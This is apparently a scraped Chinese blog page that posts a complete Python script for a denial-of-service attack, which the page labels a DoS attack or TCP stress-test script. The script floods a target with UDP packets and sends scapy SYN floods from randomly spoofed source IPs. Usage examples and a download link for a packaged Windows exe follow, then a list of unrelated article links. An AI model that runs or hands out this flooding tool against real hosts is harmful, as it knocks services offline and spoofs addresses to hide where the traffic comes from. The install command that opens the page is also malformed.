pip3 install string&&scapy
 1 #!/usr/bin env python
2 #-*-coding:utf-8-*-
3 import socket,random,string
4 import time,sys
5 from scapy.all import *
6 from concurrent import futures
7 class Dos:
8 def __init__(self,t_ype,sip,dip,port,pps,dos_time):
9 self.t_ype = t_ype
10 self.sip = sip
11 self.dip = dip
12 self.port = port
13 self.pps = pps
14 self.dos_time = dos_time
15 self.data=''.join(random.choice(string.ascii_letters+ string.digits) for x in range(10000)) #10000字节80k
16 def _udp(self,work_id):
17 count = 0
18 while count<self.dos_time:
19 try:
20 sk = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
21 sk.bind((self.sip,0))
22 sk.sendto(self.data.encode('utf-8'),(self.dip,self.port))# 8M
23 except Exception as e:
24 print(e)
25 time.sleep(0.01)
26 count+=0.01
27 def _tcp(self,work_id):
28 count = 0
29 sip = '.'.join([str(random.randint(1, 256)) for x in range(4)])
30 syn = IP(src=sip,dst=self.dip)/TCP(sport=RandShort(),dport=self.port,flags='S')
31 while count<self.dos_time:
32 try:
33 send(syn,verbose=0,inter=0.01,count=100)
34 except Exception as e:
35 print(e)
36 time.sleep(1) #100个tcp连接
37 count+=1
38 def run(self):
39 if self.t_ype.upper() == 'UDP':
40 func = self._udp
41 pps = self.pps//8+1
42 unit ='Mpps'
43 count = pps*8
44 elif self.t_ype.upper()=='TCP':
45 func = self._tcp
46 pps = self.pps//100+1
47 unit = 'Connetcions'
48 count = pps*100
49 work_id = [x for x in range(pps)]
50 print('''SourceIp:%s
51 DestiantionIp:%s
52 DstPort:%s
53 %s:%s %s
54 KeepTime:%sS'''%(self.sip,self.dip,self.port,self.t_ype,count,unit,self.dos_time))
55 with futures.ThreadPoolExecutor(100) as executor:
56 res = executor.map(func, work_id)
57 if __name__=='__main__':
58 try:
59 t_ype,sip,dip,port,pps,dos_time = (sys.argv[x] for x in range(1,7))
60 dos = Dos(t_ype,sip,dip,int(port),int(pps),int(dos_time))
61 dos.run()
62 except:
63 print('argv:')
64 print(' tcp/udp,SourceIp,DestiantionIp,DstPort,Mpps/Connections,KeepTime')
65 print(' SourceIp:TCP can be a fake IP,UDP cannot ')
66 print(' Mpps/Connections:UDP use Mpps,TCP use Connetcions ')
67 print('example:')
68 print(' ./dos udp 10.0.3.108 10.0.64.74 1111 10 5')
69 print(' ./dos tcp 1.1.1.1 10.0.64.74 1111 1000 5')
70
71
72 # 机器性能不足可以启用多进程
73 # from multiprocessing import Process
74 # def dos(sip,dip,port,pps,dos_time):
75 # pps = pps//8+1
76 # print('''SourceIp:%s
77 # DestiantionIp:%s
78 # DstPort:%s
79 # pps:%sMpps
80 # KeepTime:%sS'''%(sip,dip,port,pps*8,dos_time))
81 # for x in range(pps):
82 # p = Process(target=run,args=(sip,dip,port,dos_time))
83 # p.start()

windows 打包exe

链接:https://pan.baidu.com/s/1xkzZaWn9gw1b6W9AkavOzg
提取码:wq05

python DOS 攻击,TCP压测脚本的更多相关文章

  1. python join()方法的使用,可以应用到tcp压测发送指定数据长度的应用

    Python join() 方法用于将序列中的元素以指定的字符连接生成一个新的字符串.其中,序列中的元素应是字符串类型. 学习join()方法主要是为了配合随机数的使用,生产某个指定位数的随机数,在t ...

  2. 手把手用Monkey写一个压测脚本

    版权声明: 本账号发布文章均来自公众号,承香墨影(cxmyDev),版权归承香墨影所有. 允许有条件转载,转载请附带底部二维码. 一.为什么需要一个测试脚本? 昨天讲解了Android Monkey命 ...

  3. 一文揭秘测试平台中是如何将测试用例一键转化Jmeter压测脚本

    ​    ​接上篇,一键转化将接口测试平台测试用例转化成Jmeter压测脚本思路,这里我首先在java 上面做了一个简单的实验,看看 转化的中间遇到的问题,这里呢,我只是给了一个简单的demo 版本, ...

  4. python服务端多进程压测工具

    本文描述一个python实现的多进程压测工具,这个压测工具的特点如下: 多进程 在大多数情况下,压测一般适用于IO密集型场景(如访问接口并等待返回),在这种场景下多线程多进程的区分并不明显(详情请参见 ...

  5. jmeter压测脚本编写与静态文件处理

    一.压测脚本编写 概述:工具为谷歌浏览器-->F12-->Network,访问被测站点,通过其中的请求的地方来构造压测脚本 二.静态文件处理 概述:静态文件包括css/js/图片等,它们有 ...

  6. JMeter扩展Java请求实现WebRTC本地音视频推流压测脚本

    WebRTC是Web Real-Time Communication缩写,指网页即时通讯,是一个支持Web浏览器进行实时语音或视频对话的API,实现了基于网页的视频会议,比如声网的Agora Web ...

  7. ab压力测试工具-批量压测脚本

    ab(Apache benchmark)是一款常用的压力测试工具.简单易用,ab的命令行一次只能支持一次测试.如果想要批量执行不同的测试方式,并自动对指标进行分析,那么单靠手工一条一条命令运行ab,估 ...

  8. 无界面运行Jmeter压测脚本 --后知者

    原文作者---后知者 原文地址:http://www.cnblogs.com/houzhizhe/p/8119735.html [后知者的故事]:针对单一接口压测时出现了从未遇到的问题,设好并发量后用 ...

  9. nginx、php-fpm、swoole HTTP/TCP压测对比

    本次测试是在win7下docker环境中进行压测,共创建一个nginx容器.一个php-fpm容器和一个swoole容器,客户端请求nginx服务器,nginx接收用户访问请求并转发给php-fpm, ...

随机推荐

  1. centos7 环境安装rabbitmq 集群

    继上一篇https://www.cnblogs.com/drafire/p/10062891.html ,这篇博客继续介绍centos 7下安装rabbitmq的集群. 今天在公司搞了一天的rabbi ...

  2. Python - numpy.clip()函数

    np.clip( a, a_min, a_max, out=None): 部分参数解释: 该函数的作用是将数组a中的所有数限定到范围a_min和a_max中.a:输入矩阵:a_min:被限定的最小值, ...

  3. Linux内核, 编译一个自己的内核

      本文,我们将一步一步地介绍如何从源代码编译和安装一个Linux内核.需要注意的是本指导基于Ubuntu 20.04版本编译安装,其它发行版可能会有差异. 在前面文章中我们反复提到过Linux内核, ...

  4. ubuntu sublime text3 python 配置 sublime text3 python 配置

    ubuntu sublime text3 python 配置     1.安装sublime text 3 安装过程非常简单,在terminal中输入: sudo add-apt-repository ...

  5. 联想电脑“此主机支持 Intel VT-x,但 Intel VT-x 处于禁用状态” 解决方法

    当在虚拟机上安装Ubuntu系统时,出现 "此主机支持 Intel VT-x,但 Intel VT-x 处于禁用状态" 弹窗此时需要进入BIOS修改相关的设置,此处以联想ideap ...

  6. css 垂直居中方法汇总

    查看原文可以有更好的排版效果哦 前言 居中是平时工作中的最常见的一种需求,各种图片居中或者各种弹窗,水平居中还好,特别是垂直居中,很多初学者表示太难写了,现在列举一些常用的方法. 实战 这里只讲述cs ...

  7. 浅析Node与Element

    起因 起因有二: 在看winter老师的分享:<一个前端的自我修养>时,有注意到这么一幅图,里面有写childNode和children属性. 昨天有学弟问起我,能否自己定义一个所有元素节 ...

  8. H5复制粘贴双端适配的解决方案(终极版)

    前言 最终适配所有机型的方案基于clipboardjs官网https://clipboardjs.com/ 这个库由几个不同的CDN提供商托管.选择你最喜欢的:) jsDelivr <scrip ...

  9. final,finally和finalize的区别

    package com.heima.test; public class Test1 {  /**  * * A:面试题1   * final,finally和finalize的区别   * fina ...

  10. 前端复制粘贴文字clipBoard.js的使用

    1. vue  中的复制粘贴: <div class="mainTextItem" @click="copyTXTOne" id="copyOn ...